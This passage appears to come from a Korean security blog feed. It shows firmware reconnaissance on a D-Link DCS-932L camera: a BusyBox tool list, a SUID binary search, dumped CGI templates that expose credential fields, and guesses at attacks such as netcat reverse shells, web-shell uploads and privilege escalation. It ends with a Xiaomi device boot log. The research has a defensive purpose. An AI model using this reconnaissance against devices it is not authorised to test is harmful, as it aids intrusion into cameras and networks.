<li><strong>아카이브 및 압축</strong>: <code>tar</code>, <code>gzip</code>, <code>bzip2</code>, <code>lzma</code></li>
<li><strong>스크립트 지원</strong>: <code>ash</code> (BusyBox에서 제공하는 쉘)</li>
<li><strong>HTTP 서버</strong>: <code>httpd</code></li>
<li><strong>로그 관리</strong>: <code>syslogd</code>, <code>logread</code></li>
<li><strong>암호 관련</strong>: <code>passwd</code>, <code>su</code></li>
<li><strong>크론 작업</strong>: <code>crond</code>, <code>crontab</code></li>
</ul>
<blockquote>
<p>네트워크 기반 동작이 다수일 듯? -&gt; 공격 벡터를 네트워크 측면으로 우선 설정</p>
</blockquote>
<h3 id="보안-취약점-예상해보기">보안 취약점 예상해보기</h3>
<ul>
<li><p><code>httpd</code> (내장 웹 서버) 및 <code>wget</code>이 포함되어 있음</p>
<ul>
<li>웹 인터페이스를 통한 명령 실행이 가능할 가능성</li>
<li>미인가 사용자 접근 위험</li>
<li>명령어 주입 취약점이 존재할 가능성</li>
</ul>
</li>
<li><p><code>telnet</code>, <code>nc</code>, <code>ifconfig</code> 등이 포함됨</p>
<ul>
<li><code>telnet</code>이 활성화되어 있다면 평문으로 패스워드가 전송 - 크레덴셜 유출 위험<ul>
<li>혹시 상시로 열려 있는지도 확인해보기</li>
</ul>
</li>
<li><code>nc</code>(Netcat)가 존재하면, 리버스 쉘을 생성할 수 있음</li>
</ul>
</li>
<li><p><code>passwd</code>와 <code>su</code> 명령어가 포함됨</p>
<ul>
<li>BusyBox를 통해 비밀번호 변경 가능 - 기본 계정 정보 노출 시 공격자가 root 권한 확보 가능</li>
</ul>
</li>
</ul>
<h1 id="쉘--권한-관련-탐색">쉘 / 권한 관련 탐색</h1>
<h2 id="쉘-순서">쉘 순서?</h2>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Feb  4 08:14 /bin/sh -&gt; dash</code></pre><ul>
<li><code>/bin/sh</code>가 <code>dash</code>를 가리키고 있음<ul>
<li><code>busybox</code> 기반의 <code>ash</code>가 기본 셸이 아니라는 점에서, 내부에서 추가적인 셸 프로세스 (<code>dash</code>?)가 실행될 가능성 존재</li>
</ul>
</li>
</ul>
<h2 id="suid-설정-여부-검사">SUID 설정 여부 검사</h2>
<pre><code>──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ find / -perm -4000 -exec ls -l {} \;
find: ‘/lost+found’: Permission denied
find: ‘/var/spool/cron/crontabs’: Permission denied
find: ‘/var/tmp/systemd-private-69fe27d112534e1d9733d8d1119de3a2-systemd-logind.service-fCEeVB’: Permission denied
...
find: ‘/tmp/systemd-private-69fe27d112534e1d9733d8d1119de3a2-upower.service-hiEXZ1’: Permission denied
find: ‘/tmp/systemd-private-69fe27d112534e1d9733d8d1119de3a2-colord.service-N6r8Yu’: Permission denied
-rwsr-xr-x 1 root root 146480 Feb  5 10:35 /usr/sbin/mount.nfs
-rwsr-xr-- 1 root dip 428424 Nov 22 10:27 /usr/sbin/pppd
-rwsr-xr-x 1 root root 56320 Dec 26 03:36 /usr/sbin/mount.cifs
-rwsr-xr-x 1 root root 18816 Jan 27 18:36 /usr/bin/newgrp
-rwsr-xr-- 1 root kismet 150312 Sep 12 00:50 /usr/bin/kismet_cap_nrf_52840
-rwsr-xr-x 1 root root 35200 Jan 27 18:36 /usr/bin/umount
-rwsr-xr-x 1 root root 306456 Jan 16 05:19 /usr/bin/sudo
-rwsr-xr-- 1 root kismet 154408 Sep 12 00:50 /usr/bin/kismet_cap_nxp_kw41z
-rwsr-xr-x 1 root root 80264 Jan 27 18:36 /usr/bin/su
-rwsr-xr-- 1 root kismet 154408 Sep 12 00:50 /usr/bin/kismet_cap_rz_killerbee
-rwsr-xr-- 1 root kismet 154408 Sep 12 00:50 /usr/bin/kismet_cap_ti_cc_2540
-rwsr-xr-x 1 root root 166848 Oct  5 03:45 /usr/bin/ntfs-3g
-rwsr-xr-- 1 root kismet 150312 Sep 12 00:50 /usr/bin/kismet_cap_nrf_51822
-rwsr-xr-- 1 root kismet 228680 Sep 12 00:50 /usr/bin/kismet_cap_linux_wifi
-rwsr-xr-x 1 root root 35128 Sep 21 08:06 /usr/bin/fusermount3
-rwsr-xr-x 1 root root 63880 Jan 27 18:36 /usr/bin/mount
-rwsr-xr-- 1 root kismet 277288 Sep 12 00:50 /usr/bin/kismet_cap_hak5_wifi_coconut
-rwsr-xr-x 1 root root 52936 Dec  6 07:51 /usr/bin/chsh
-rwsr-xr-x 1 root root 18680 Jul  2  2024 /usr/bin/rsh-redone-rsh
-rwsr-xr-x 1 root root 70888 Dec  6 07:51 /usr/bin/chfn
-rwsr-xr-- 1 root kismet 150312 Sep 12 00:50 /usr/bin/kismet_cap_ubertooth_one
-rwsr-xr-x 1 root root 30952 Sep 19 04:47 /usr/bin/pkexec
-rwsr-xr-x 1 root root 18680 Jul  2  2024 /usr/bin/rsh-redone-rlogin
-rwsr-xr-x 1 root root 14848 Jan  7 05:42 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 118168 Dec  6 07:51 /usr/bin/passwd
-rwsr-xr-- 1 root kismet 154408 Sep 12 00:50 /usr/bin/kismet_cap_nrf_mousejack
-rwsr-xr-- 1 root kismet 158504 Sep 12 00:50 /usr/bin/kismet_cap_linux_bluetooth
-rwsr-xr-- 1 root kismet 154408 Sep 12 00:50 /usr/bin/kismet_cap_ti_cc_2531
-rwsr-xr-x 1 root root 88568 Dec  6 07:51 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 18744 Sep 19 04:47 /usr/lib/polkit-1/polkit-agent-helper-1
find: ‘/usr/lib/mysql/plugin/auth_pam_tool_dir’: Permission denied
-rwsr-xr-x 1 root root 494144 Oct 27 09:58 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51272 Dec 16 09:26 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-sr-x 1 root root 14672 Dec 20 01:54 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 15568 Jan 28 20:26 /usr/lib/chromium/chrome-sandbox
find: ‘/root’: Permission denied
-r-sr-x--- 1 kali kali 116911 Feb  2 02:28 /home/kali/Desktop/Firmware/DIR-882/104/_8AB758.extracted/cpio-root/usr/lib/pppd/2.4.5/pptp.so
-r-sr-x--- 1 kali kali 116851 Feb  3 01:27 /home/kali/Desktop/Firmware/DIR-882/130/_DIR882A1_FW130B06_decrypted.bin.extracted/_A0.extracted/_8897DC.extracted/cpio-root/usr/lib/pppd/2.4.5/pptp.so
find: ‘/sys/kernel/tracing’: Permission denied
find: ‘/sys/kernel/debug’: Permission denied
find: ‘/sys/fs/pstore’: Permission denied
...</code></pre><ul>
<li><code>mount.nfs</code>, <code>pppd</code>, <code>mount.cifs</code>, <code>su</code>, <code>sudo</code> 등 다수의 실행 파일이 SUID 설정</li>
</ul>
<h3 id="특이점">특이점?</h3>
<ul>
<li><code>su</code>(Switch User) 명령어가 SUID로 설정되어 있다면, 일반 사용자도 root 권한을 얻을 가능성</li>
<li><code>pppd</code>(PPP Daemon)가 SUID로 실행되는 경우, 권한 상승 공격(Privilege Escalation)이 가능할 가능성</li>
</ul>
<h1 id="웹-서버-관련-cgi-스크립트-탐색">웹 서버 관련 cgi 스크립트 탐색</h1>
<h2 id="목록-확인">목록 확인</h2>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ ls -l ./etc_ro/web/cgi/

total 104
-rw-r--r-- 1 kali kali  64 Feb 15 20:10 audiocfg.cgi
-rw-r--r-- 1 kali kali  30 Feb 15 20:10 cgiversion.cgi
-rw-r--r-- 1 kali kali 393 Feb 15 20:10 common.cgi
-rw-r--r-- 1 kali kali 538 Feb 15 20:10 datetime.cgi
-rw-r--r-- 1 kali kali 780 Feb 15 20:10 daynight.cgi
-rw-r--r-- 1 kali kali  36 Feb 15 20:10 dbglevel.cgi
-rw-r--r-- 1 kali kali 714 Feb 15 20:10 email.cgi
-rw-r--r-- 1 kali kali  25 Feb 15 20:10 iactiveuser.cgi
-rw-r--r-- 1 kali kali 113 Feb 15 20:10 iaudio.cgi
-rw-r--r-- 1 kali kali 238 Feb 15 20:10 iimage.cgi
-rw-r--r-- 1 kali kali 366 Feb 15 20:10 image.cgi
-rw-r--r-- 1 kali kali 512 Feb 15 20:10 inetwork.cgi
-rw-r--r-- 1 kali kali 421 Feb 15 20:10 isysdevice.cgi
-rw-r--r-- 1 kali kali 318 Feb 15 20:10 isystem.cgi
-rw-r--r-- 1 kali kali 308 Feb 15 20:10 iwireless.cgi
-rw-r--r-- 1 kali kali 442 Feb 15 20:10 motion.cgi
-rw-r--r-- 1 kali kali 670 Feb 15 20:10 network.cgi
-rw-r--r-- 1 kali kali 354 Feb 15 20:10 sdbdetection.cgi
-rw-r--r-- 1 kali kali  21 Feb 15 20:10 sitesurvey.cgi
-rw-r--r-- 1 kali kali 264 Feb 15 20:10 strminfo.cgi
-rw-r--r-- 1 kali kali 204 Feb 15 20:10 system.cgi
-rw-r--r-- 1 kali kali 860 Feb 15 20:10 upload.cgi
-rw-r--r-- 1 kali kali  48 Feb 15 20:10 user.cgi
-rw-r--r-- 1 kali kali  19 Feb 15 20:10 userlist.cgi
-rw-r--r-- 1 kali kali  73 Feb 15 20:10 usermod.cgi
-rw-r--r-- 1 kali kali 492 Feb 15 20:10 wireless.cgi</code></pre><h3 id="주요-파일-및-그-기능-확인">주요 파일 및 그 기능 확인</h3>
<ul>
<li><code>network.cgi</code>, <code>inetwork.cgi</code> - 네트워크 설정 관련</li>
<li><code>image.cgi</code>, <code>iimage.cgi</code> - 카메라 영상 관련 설정</li>
<li><code>motion.cgi</code> - 모션 감지 관련 설정</li>
<li><code>email.cgi</code> - 이메일 설정 (SMTP, 인증 정보 포함)</li>
<li><code>user.cgi</code>, <code>userlist.cgi</code>, <code>usermod.cgi</code> - 사용자 계정 관련 설정</li>
<li><code>upload.cgi</code> - 파일 업로드 기능 포함 (보안상 위험할 가능성 높음!!)</li>
</ul>
<h2 id="각-cgi-스크립트-내용-확인전체-출력">각 cgi 스크립트 내용 확인(전체 출력)</h2>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ cat ./etc_ro/web/cgi/*.cgi
AudioEnable=%%AudioEnable();%%
AudioVolume=%%AudioVolume();%%
CGIVersion=%%CGIVersion();%%
model=%%ModelName();%%
brand=%%Company();%%
version=%%FirmwareVersion();%%
build=%%FirmwareVersion(2);%%
name=%%CameraName();%%
location=%%Location();%%
macaddr=%%MACAddress(2);%%
ipaddr=%%CurrentIPAddress();%%
netmask=%%CurrentSubnetMask();%%
gateway=%%CurrentDefaultGateway();%%
wireless=%%WirelessSupport();%%
ptz=%%PTZSupport();%%
inputs=0
outputs=0
speaker=no
videoout=no
DateTimeMode=%%DateTimeMode();%%
TimeServerIPAddress=%%TimeServerIPAddress();%%
TimeServerProtocol=%%TimeServerProtocol();%%
TimeZone=%%TimeZone();%%
TimeZoneIndex=%%TimeZoneIndex();%%
Date=%%Date();%%
Time=%%Time();%%
DSTEnable=%%DSTEnable();%%
DSTOffset=%%DSTOffset();%%
DSTStartMonth=%%DSTStartMonth();%%
DSTStartWeek=%%DSTStartWeek();%%
DSTStartDay=%%DSTStartDay();%%
DSTStartTime=%%DSTStartTime();%%
DSTEndMonth=%%DSTEndMonth();%%
DSTEndWeek=%%DSTEndWeek();%%
DSTEndDay=%%DSTEndDay();%%
DSTEndTime=%%DSTEndTime();%%
DayNightMode=%%DayNightMode();%%
LightSensorControl=%%LightSensorControl();%%
IRLedScheduleSunStart=%%IRLedScheduleSunStart();%%
IRLedScheduleSunEnd=%%IRLedScheduleSunEnd();%%
IRLedScheduleMonStart=%%IRLedScheduleMonStart();%%
IRLedScheduleMonEnd=%%IRLedScheduleMonEnd();%%
IRLedScheduleTueStart=%%IRLedScheduleTueStart();%%
IRLedScheduleTueEnd=%%IRLedScheduleTueEnd();%%
IRLedScheduleWedStart=%%IRLedScheduleWedStart();%%
IRLedScheduleWedEnd=%%IRLedScheduleWedEnd();%%
IRLedScheduleThuStart=%%IRLedScheduleThuStart();%%
IRLedScheduleThuEnd=%%IRLedScheduleThuEnd();%%
IRLedScheduleFriStart=%%IRLedScheduleFriStart();%%
IRLedScheduleFriEnd=%%IRLedScheduleFriEnd();%%
IRLedScheduleSatStart=%%IRLedScheduleSatStart();%%
IRLedScheduleSatEnd=%%IRLedScheduleSatEnd();%%
WebDebugLevel=%%WebDebugLevel();%%
EmailSMTPServerAddress=%%EmailSMTPServerAddress();%%
EmailSMTPPortNumber=%%EmailSMTPPortNumber();%%
EmailSenderAddress=%%EmailSenderAddress();%%
EmailReceiverAddress=%%EmailReceiverAddress();%%
EmailUserName=%%EmailUserName();%%
EmailPassword=%%EmailPassword();%%
EmailTLSAuthentication=%%EmailTLSAuthentication();%%
EmailScheduleEnable=%%EmailScheduleEnable();%%
EmailScheduleMode=%%EmailScheduleMode();%%
EmailScheduleDay=%%EmailScheduleDay();%%
EmailScheduleTimeStart=%%EmailScheduleTimeStart();%%
EmailScheduleTimeStop=%%EmailScheduleTimeStop();%%
EmailScheduleInterval=%%EmailScheduleInterval();%%
EmailMotionMode=%%EmailMotionMode();%%
EmailMotionFrameInterval=%%EmailMotionFrameInterval();%%
%%ActiveUserTable(1);%%
Audio=%%AudioEnable();%%
Volume=%%AudioVolume();%%
Codec=%%AudioCodec();%%
SampleRate=%%AudioSampleRate();%%
VideoResolution=%%StringOfVideoResolution();%%
CompressionRate=%%StringOfCompressionRate();%%
FrameRate=%%StringOfFrameRate();%%
ViewMode=%%ViewMode();%%
FrameSize=%%FrameSize();%% Bytes
LightFrequency=%%StringOfLightFrequency();%%
VideoResolution=%%VideoResolution();%%
CompressionRate=%%CompressionRate();%%
FrameRate=%%FrameRate();%%
ViewMode=%%ViewMode();%%
BrightnessControl=%%BrightnessControl();%%
ContrastControl=%%ContrastControl();%%
SaturationControl=%%SaturationControl();%%
LightFrequency=%%LightFrequency();%%
Mirror=%%Mirror();%%
AntiFlickerEnable=%%AntiFlickerEnable();%%
IPAddress=%%CurrentIPAddress();%%
SubnetMask=%%CurrentSubnetMask();%%
DefaultGateway=%%CurrentDefaultGateway();%%
PrimaryDNSAddress=%%DNSIPAddress1();%%
SecondaryDNSAddress=%%DNSIPAddress2();%%
DynamicDNS=%%StatusOfDynamicDNS();%%
SecondaryHTTPPort=%%StringOfSecondHTTPPortEnable();%% (Port : %%SecondHTTPPort();%%)
UPnP=%%StringOfUPnPEnable();%% (IP : %%GotIPFromUpnp();%%)
UPnPPortForwarding=%%StatusOfUPnPPortForwarding();%%
BonjourEnable=%%StringOfBonjourEnable();%%
BonjourName=%%BonjourName();%% Model=%%ModelName();%%
ModelDesc=%%ModelDescription();%%
FirmwareVersion=%%FirmwareVersion();%% (%%ReleaseDate();%%)
HarwareVersion=%%HarwareVersion();%%
ROMVersion=%%ROMVersion();%%
Company=%%Company();%%
CompanyURL=%%CompanyURL();%%

MACAddress=%%MACAddress();%%
IPAddress=%%CurrentIPAddress();%%
EthernetLink=%%EthernetLink();%%
EthernetSpeed=%%EthernetSpeed();%% bps
EthernetDuplex=%%EthernetDuplex();%%
CameraName=%%CameraName();%%
Location=%%Location();%%
Model=%%ModelName();%%
FirmwareVersion=%%FirmwareVersion();%% (%%ReleaseDate();%%)
MACAddress=%%MACAddress();%%
IPAddress=%%CurrentIPAddress();%%
EthernetLink=%%EthernetLink();%%
EthernetSpeed=%%EthernetSpeed();%% bps
EthernetDuplex=%%EthernetDuplex();%%
ConnectionMode=%%StringOfConnectionMode();%%
WirelessLink=%%WirelessLink();%%
SSID=%%WirelessCurrentSSID();%% (MAC : %%WirelessCurrentAPMACAddress();%%)
WirelessChannel=%%WirelessCurrentChannel();%%
TransmissionRate=%%WirelessCurrentTransmissionRate();%%
WEPEncryption=%%WirelessCurrentEncryption();%%
MotionDetectionEnable=%%MotionDetectionEnable();%%
MotionDetectionBlockSet=%%MotionDetectionBlockSet();%%
MotionDetectionSensitivity=%%MotionDetectionSensitivity();%%
MotionDetectionScheduleMode=%%MotionDetectionScheduleMode();%%
MotionDetectionScheduleDay=%%MotionDetectionScheduleDay();%%
MotionDetectionScheduleTimeStart=%%MotionDetectionScheduleTimeStart();%%
MotionDetectionScheduleTimeStop=%%MotionDetectionScheduleTimeStop();%%
IPAddressMode=%%IPAddressMode();%%
IPAddress=%%IPAddress();%%
SubnetMask=%%SubnetMask();%%
DefaultGateway=%%DefaultGateway();%%
PPPoEUserID=%%PPPoEUserID();%%
PPPoEPassword=%%PPPoEPassword();%%
DNSIPAddress1=%%DNSIPAddress1();%%
DNSIPAddress2=%%DNSIPAddress2();%%
DDNSEnable=%%DDNSEnable();%%
DDNSProvider=%%DDNSProvider();%%
DDNSHostName=%%DDNSHostName();%%
DDNSUserName=%%DDNSUserName();%%
DDNSPassword=%%DDNSPassword();%%
SecondHTTPPortEnable=%%SecondHTTPPortEnable();%%
SecondHTTPPort=%%SecondHTTPPort();%%
UPnPEnable=%%UPnPEnable();%%
UPnPPortForwarding=%%UPnPPortForwarding();%% 
BonjourEnable=%%BonjourEnable();%%
BonjourName=%%BonjourName();%% SoundDetectionEnable=%%SoundDetectionEnable();%%
SoundDetectionDB=%%SoundDetectionDB();%%
SoundDetectionScheduleMode=%%SoundDetectionScheduleMode();%%
SoundDetectionScheduleDay=%%SoundDetectionScheduleDay();%%
SoundDetectionScheduleTimeStart=%%SoundDetectionScheduleTimeStart();%%
SoundDetectionScheduleTimeStop=%%SoundDetectionScheduleTimeStop();%%%%SiteSurveyList();%%videos=MJPEG
resolutions=640x480,320x240,160x120
vprofilenum=1
vprofile1=MJPEG
vprofileurl1=/mjpeg.cgi
vprofileres1=%%StringOfVideoResolution();%%
vDprofileurl1=/dgvideo.cgi
aprofilenum=1
aprofile1=PCM
aprofileurl1=/audio.cgi
aDprofileurl1=/dgaudio.cgi
CameraName=%%CameraName();%%
Location=%%Location();%%
AdminID=%%AdminID();%%
AdminPassword=%%AdminPassword();%%
LEDControl=%%LEDControl();%%
SnapshotURLAuthentication=%%SnapshotURLAuthentication();%%FTPHostAddress=%%FTPHostAddress();%%
FTPPortNumber=%%FTPPortNumber();%%
FTPUserName=%%FTPUserName();%%
FTPPassword=%%FTPPassword();%%
FTPDirectoryPath=%%FTPDirectoryPath();%%
FTPPassiveMode=%%FTPPassiveMode();%%
FTPScheduleEnable=%%FTPScheduleEnable();%%
FTPScheduleMode=%%FTPScheduleMode();%%
FTPScheduleDay=%%FTPScheduleDay();%%
FTPScheduleTimeStart=%%FTPScheduleTimeStart();%%
FTPScheduleTimeStop=%%FTPScheduleTimeStop();%%
FTPScheduleVideoFrequencyMode=%%FTPScheduleVideoFrequencyMode();%%
FTPScheduleFramePerSecond=%%FTPScheduleFramePerSecond();%%
FTPScheduleSecondPerFrame=%%FTPScheduleSecondPerFrame();%%
FTPScheduleBaseFileName=%%FTPScheduleBaseFileName();%%
FTPScheduleFileMode=%%FTPScheduleFileMode();%%
FTPScheduleMaxFileSequenceNumber=%%FTPScheduleMaxFileSequenceNumber();%%
FTPCreateFolderInterval=%%FTPCreateFolderInterval();%%
AccessControlEnable=%%AccessControlEnable();%%
%%UserTable(1);%%
name=%%ModName();%%
password=%%ModPassword();%%
group=%%ModGroup();%%
WirelessDisable=%%WirelessDisable();%%
ConnectionMode=%%ConnectionMode();%%
SSID=%%SSID();%%
WirelessChannel=%%WirelessChannel();%%
TransmissionRate=%%StringOfTransmissionRate();%%
WEPEncryption=%%WEPEncryption();%%
WEPKeyFormat=%%WEPKeyFormat();%%
Key1=%%Key1();%%
Key2=%%Key2();%%
Key3=%%Key3();%%
Key4=%%Key4();%%
TxKey=%%TxKey();%%
BeaconInterval=%%BeaconInterval();%%
Preamble=%%Preamble();%%
AuthenticationType=%%AuthenticationType();%%
PreSharedKey=%%PreSharedKey();%%</code></pre><ul>
<li><code>%%Function();%%</code> 형태의 템플릿 변수를 다수 발견 가능<ul>
<li>카메라 펌웨어의 내부 처리 함수와 연결되며, 실제 값으로 치환될 가능성</li>
</ul>
</li>
</ul>
<h3 id="보안-취약점-찍어보기">보안 취약점 찍어보기</h3>
<ul>
<li><p><strong><code>upload.cgi</code></strong></p>
<ul>
<li>파일 업로드 기능이 포함되어 있음</li>
<li>실행 권한이 있는 경우 임의의 파일 업로드 및 원격 코드 실행(RCE) 가능성 존재</li>
<li>파일 확장자 필터링이 없다면, 웹 셸 업로드 공격 가능</li>
</ul>
</li>
<li><p><strong><code>user.cgi</code>, <code>usermod.cgi</code></strong></p>
<ul>
<li><code>AdminID=%%AdminID();%%</code>, <code>AdminPassword=%%AdminPassword();%%</code> 같은 변수 포함</li>
<li>관리자 계정 ID와 비밀번호가 하드코딩되어 있을 가능성 있음</li>
<li>URL 파라미터를 조작하여 관리자 권한 탈취(Privilege Escalation) 가능성 존재</li>
</ul>
</li>
<li><p><strong><code>network.cgi</code>, <code>inetwork.cgi</code></strong></p>
<ul>
<li><code>IPAddress=%%IPAddress();%%</code>, <code>DNSIPAddress1=%%DNSIPAddress1();%%</code>, <code>PPPoEUserID=%%PPPoEUserID();%%</code></li>
<li>네트워크 설정을 변경하는 기능 포함</li>
<li>인증 없이 접근 가능하면, 임의의 네트워크 설정 변경 및 디도스 공격(DNS 변경, 게이트웨이 조작) 가능</li>
</ul>
</li>
<li><p><strong><code>email.cgi</code></strong></p>
<ul>
<li><code>EmailUserName=%%EmailUserName();%%</code>, <code>EmailPassword=%%EmailPassword();%%</code></li>
<li>SMTP 인증 정보가 저장됨</li>
<li>공격자가 접근 가능하면, 이메일을 통한 스팸 공격 또는 계정 탈취 가능성</li>
</ul>
</li>
<li><p><strong><code>wireless.cgi</code></strong></p>
<ul>
<li><code>SSID=%%SSID();%%</code>, <code>PreSharedKey=%%PreSharedKey();%%</code></li>
<li>WiFi SSID 및 WPA 키 정보 포함</li>
<li>인증 우회가 가능하면 무선 네트워크에 무단 접근 가능</li>
</ul>
</li>
</ul>
<h1 id="주요-cgi-스크립트-개별-분석">주요 cgi 스크립트 개별 분석</h1>
<h2 id="uploadcgi">upload.cgi</h2>
<h3 id="주요-사항">주요 사항</h3>
<ul>
<li><p><strong>FTP 계정 정보 포함</strong></p>
<ul>
<li><code>FTPUserName=%%FTPUserName();%%</code></li>
<li><code>FTPPassword=%%FTPPassword();%%</code></li>
<li>위 정보가 노출되면 FTP 서버에 무단 접근 가능</li>
</ul>
</li>
<li><p><strong>FTP 업로드 디렉터리 설정 가능</strong></p>
<ul>
<li><code>FTPDirectoryPath=%%FTPDirectoryPath();%%</code></li>
<li>업로드 경로를 변경할 수 있다면 공격자가 원격에서 설정을 조작하여 시스템 내 특정 디렉터리에 악성 파일을 업로드할 가능성 존재</li>
</ul>
</li>
<li><p><strong>FTP 패시브 모드 지원</strong></p>
<ul>
<li><code>FTPPassiveMode=%%FTPPassiveMode();%%</code></li>
<li>방화벽 우회가 가능하도록 FTP가 설정될 수 있음</li>
</ul>
</li>
<li><p><strong>FTP 스케줄링 기능 존재</strong></p>
<ul>
<li><code>FTPScheduleEnable=%%FTPScheduleEnable();%%</code></li>
<li><code>FTPScheduleTimeStart=%%FTPScheduleTimeStart();%%</code></li>
<li>일정 시간에 자동 업로드 기능이 동작할 경우, 공격자가 이를 이용해 자동으로 파일을 업로드하고 실행할 가능성</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Interlude] 하드웨어 해킹 재시도]]></title>
            <link>https://velog.io/@lilac_21/Interlude-%ED%95%98%EB%93%9C%EC%9B%A8%EC%96%B4-%ED%95%B4%ED%82%B9-%EC%9E%AC%EC%8B%9C%EB%8F%84</link>
            <guid>https://velog.io/@lilac_21/Interlude-%ED%95%98%EB%93%9C%EC%9B%A8%EC%96%B4-%ED%95%B4%ED%82%B9-%EC%9E%AC%EC%8B%9C%EB%8F%84</guid>
            <pubDate>Wed, 19 Mar 2025 11:38:31 GMT</pubDate>
            <description><![CDATA[<h1 id="booting-log">Booting log</h1>
<h2 id="xiaomi">Xiaomi</h2>
<pre><code>▒
IPL g618ba82
D-15
HW Reset
SPI 54M
64MB
BIST0_0001-OK
MXP found at 0x00020000
offset:00010000
CUST Key
KEYN_SIZE(0x0100)
KEYN_ADDRESS(0x23c05030)
Checksum OK

IPL_CUST g618ba82
MXP found at 0x00020000
offset:00021000
XZ decomp_size=0x0004c588
CUST Key
KEYN_SIZE(0x0100)
KEYN_ADDRESS(0x23c05030)


U-Boot 2015.01 (May 07 2024 - 01:02:17), Build: jenkins-c301-48

Version: I6g94b2998
[WDT_V2] Enalbe WATCHDOG 60s
I2C:   ready
DRAM:
WARNING: Caches not enabled
MMC:   MStar SD/MMC: 0
nor_flash_mxp allocated success!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Unknown flash type (0x20, 0x40, 0x18) and use default flash type
please add flash info to serial flash driver
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
SF: Detected nor0 with total size 16 MiB
MXP found at mxp_offset[3]=0x00020000, size=0x1000
env_offset=0x40000 env_size=0x1000
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Unknown flash type (0x20, 0x40, 0x18) and use default flash type
please add flash info to serial flash driver
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
SF: Detected nor0 with total size 16 MiB
In:    serial
Out:   serial
Err:   serial
Net:   Net Initialization Skipped
No ethernet found.
gpio debug MHal_GPIO_Pad_Set:603
gpio debug MHal_GPIO_Pad_Set:603
gpio debug MHal_GPIO_Pad_Set:603
gpio debug MHal_GPIO_Pad_Set:603
[boot] boot_retry:0 boot_retry_maxnum:5

[Dual_system]:now the boot_flag is 1
the ttyS0,115200 and ttyS0,115200 same
the /dev/mtdblock1 and /dev/mtdblock1 same
the squashfs and squashfs same
the /linuxrc and /linuxrc same
the 0x3fc6000 and 0x3fc6000 same
the mma_heap_name0,miu=0,sz=0x1400000 and mma_heap_name0,miu=0,sz=0x1400000 same
_[sdmmc_0] Card Detect Fail!
** Bad device mmc 0 **
there&#39;s no sdcard, ignore dfu
_[sdmmc_0] Card Detect Fail!
** Bad device mmc 0 **
there&#39;s no sdcard, ignore dfu
_[sdmmc_0] Card Detect Fail!
** Bad device mmc 0 **
there&#39;s no sdcard, ignore dfu
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Unknown flash type (0x20, 0x40, 0x18) and use default flash type
please add flash info to serial flash driver
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
SF: Detected nor0 with total size 16 MiB
SF: 1703936 bytes @ 0x870000 Read: OK
[mxp_record]: 0
     name: IPL_CUST
     type: 0x01
   format: 0x00
   backup:
    start: 0x00010000
     size: 0x0000F000
   status: 0x00

SF: 65536 bytes @ 0x10000 Read: OK
SF: 1441792 bytes @ 0x50000 Read: OK
[U-Boot] CUST Key(23c05030)
[U-Boot] CUST AES Key(23c05030)
[U-Boot] Image size = 1659616 bytes
[U-Boot] Authenticate pass!
[U-Boot] CUST Key(23c05030)
[U-Boot] CUST AES Key(23c05030)
[U-Boot] Image size = 1441536 bytes
[U-Boot] Authenticate pass!
##  Booting kernel from Legacy Image at 22000000 ...
   Image Name:   MVX4##I6B0g13bd5707KL_LX409##[BR
   Image Type:   ARM Linux Kernel Image (lzma compressed)
   Data Size:    1659616 Bytes = 1.6 MiB
   Load Address: 20008000
   Entry Point:  20008000
   Verifying Checksum ... OK
   Uncompressing Kernel Image ...
[XZ] !!!reserved 0x21000000 length=0x 1000000 for xz!!
   XZ: uncompressed size=0x350000, ret=7
OK
atags:0x20000000

Starting kernel ...

Booting Linux on physical CPU 0x0
Linux version 4.9.84 (@e37b9a19bd47) (gcc version 4.9.4 (Buildroot 2017.08-gc7bbae9) ) #1 PREEMPT Mon Dec 16 19:16:12 CST 2024
CPU: ARMv7 Processor [410fc075] revision 5 (ARMv7), cr=50c53c7d
CPU: div instructions available: patching division code
CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache
early_atags_to_fdt() success
OF: fdt:Machine model: INFINITY6B0 SSC009A-S01A QFN88
LXmem is 0x3fc6000 PHYS_OFFSET is 0x20000000
Add mem start 0x20000000 size 0x3fc6000!!!!

LX_MEM  = 0x20000000, 0x3fc6000
LX_MEM2 = 0x0, 0x0
LX_MEM3 = 0x0, 0x0
EMAC_LEN= 0x0
DRAM_LEN= 0x0
deal_with_reserve_mma_heap memblock_reserve success mma_config[0].reserved_start=
0x22bc6000

cma: Reserved 2 MiB at 0x22800000
Memory policy: Data cache writeback
CPU: All CPU(s) started in SVC mode.
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 11118
Kernel command line: console=ttyS0,115200 root=/dev/mtdblock1 rootfstype=squashfs ro init=/linuxrc LX_MEM=0x3fc6000 mma_heap=mma_heap_name0,miu=0,sz=0x1400000 mma_memblock_remove=1
PID hash table entries: 256 (order: -2, 1024 bytes)
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
